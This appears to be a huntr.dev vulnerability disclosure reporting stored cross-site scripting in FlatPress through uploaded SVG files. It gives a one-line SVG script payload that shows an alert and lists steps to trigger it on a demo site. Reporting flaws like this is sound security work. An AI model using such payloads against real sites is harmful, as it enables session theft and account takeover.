Lucene search

K
huntrMike993DF455D44-0DEC-470C-B576-8EA86EC5A367
HistoryOct 04, 2022 - 1:09 p.m.

Stored XSS via SVG File

2022-10-0413:09:11
mike993
www.huntr.dev
16
stored xss
svg file
flatpress security

0.001 Low

EPSS

Percentile

20.1%

Description

flatpresshas a feature to upload file “uploader” and display from “media manager”. By uploading SVG files, the users can perform Stored XSS attack.
Copy the following code and save as filename.svg.

Proof of Concept

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
  1. login to http://demos4.softaculous.com/FlatPresseidiiohclz/admin.php?p=uploader&action=default
  2. go to uploader and upload this svg file
  3. go to the media manager and click on the svg file or open from the direct link:
    http://demos4.softaculous.com/FlatPresseidiiohclz/admin.php?p=uploader&action=mediamanager
    http://demos4.softaculous.com/FlatPresseidiiohclz/fp-content/attachs/filename.svg
  4. XSS!

if you need more specific information, feel free to contact me.

0.001 Low

EPSS

Percentile

20.1%

Related for DF455D44-0DEC-470C-B576-8EA86EC5A367